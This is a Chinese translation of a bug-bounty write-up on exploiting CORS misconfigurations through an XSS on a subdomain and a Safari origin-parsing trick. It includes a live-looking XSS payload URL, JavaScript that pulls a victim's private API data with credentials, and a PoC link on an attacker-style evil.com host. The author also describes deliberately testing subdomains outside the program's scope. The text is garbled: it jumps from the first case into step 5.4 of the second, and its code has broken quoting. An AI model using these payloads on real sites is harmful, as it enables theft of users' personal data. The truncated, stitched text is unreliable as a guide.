嗨,大家好
我叫Ayoub,我是摩洛哥的安全研究员。在本文中,我将描述两种如何利用CORS错误配置的情况:第一种情况基于XSS,需要在范围之外进行思考,第二种情况是基于高级CORS利用技术。
注意:在开始阅读本文之前,您需要对CORS是什么以及如何利用错误配置有基本的了解。以下是一些很棒的帖子,可让你了解他的用法:
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

情况1

大约一年前,我正在***这个由HackerOne托管的私有程序。在HTTP请求中使用Origin头之后,然后检查服务器响应以检查它们是否进行了域白名单检查,我注意到该应用程序仅将子域(甚至是不存在的子域)盲目地列入了白名单。
出于隐私原因和负责任的披露政策,我们假定该Web应用程序托管在:www.redacted.com
这种CORS配置错误看起来像这样:
HTTP请求:

GET / api / return HTTP / 1.1
host:www.redacted.com
Origin:evil.redacted.com
Connection:close 
HTTP响应:
HTTP / 1.1 200 OK
Access-control-allow-credentials:true
Access-control-allow-origin:evil.redacted.com

该API端点正在返回用户的私人信息,例如全名,电子邮件地址等。
要利用此错误配置进行***,例如泄露用户的私人信息,我们需要声明一个废弃的子域(子域接管),或者在一个现有子域中找到XSS。
在范围之外思考
找到一个废弃的子域并不是一件容易的事,因此我决定选择第二种方法,即在一个现有子域中找到一个XSS。但是,此私有程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS绝对不在范围内,但是在范围内以某种方式将此XSS与CORS错误配置链接在一起。
而且,其他子域不在范围之内的事实是让我更加自信的原因,因为在其他子域中不会进行测试,因此很有可能在这些子域上找到XSS。
因此,我怀着充满希望的心情开始搜索此XSS,并在不到一个小时的时间内,使用以下负载在banques.redacted.com中找到了一个。

https://banques.redacted.com/choice-quiz?form_banque=">&form_cartes=73&iframestat=1

关于CORS利用的一些方法_第1张图片
因此,要利用此CORS错误配置,我们只需要用以下代码替换XSS payload:alert(document.domain)

Function cors(){   
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function(){     
        if(this.status == 200){     
     alert(this.responseText);     
        document.getElementById(“ demo”)。innerHTML = this.responseText;    
     }   
};  
xhttp.open(“ GET”,“ https://www.redacted.com/api/return”,true);  
xhttp.withCredentials = true;  
xhttp.send(); 
} 
cors();

像这样 :

https://banques.redacted.com/choice-quiz?form_banque= “> 

5.4.通过运行以下命令来启动NodeJS服务器:
node serve.js&
5.现在,通过以下网址登录该应用程序:https://protect.ubnt.com/ 并检查是否可以从以下端点检索帐户信息:https://client.amplifi.com/api/user/
6.最后,在Safari浏览器和Voilà中打开链接:http://zzzz.ubnt.com=.evil.com/cors-poc。
就我而言,由于我没有Mac机器,因此我在iPhone中将Safari浏览器用作PoC。
关于CORS利用的一些方法_第11张图片
我的奖励
关于CORS利用的一些方法_第12张图片
最后
我确信很多安全研究人员已经遇到过这种情况,并且您可以在HackerOne中找到很多描述这种CORS错误配置的报告,但是由于缺乏PoC,只有少数能够充分利用它。在他们的报告中。
这就是我要分享经验的原因之一。还重点介绍了利用这种漏洞的其他技术。
最后,永远记住,有时您只需要在 “ Boox” 范围之外思考。
谢谢阅读。请随时在Twitter https://twitter.com/sandh0t上关注我。

本文翻译自:
https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
免责申明:本文由互联网整理翻译而来,仅供个人学习参考,如有侵权,请联系我们,告知删除。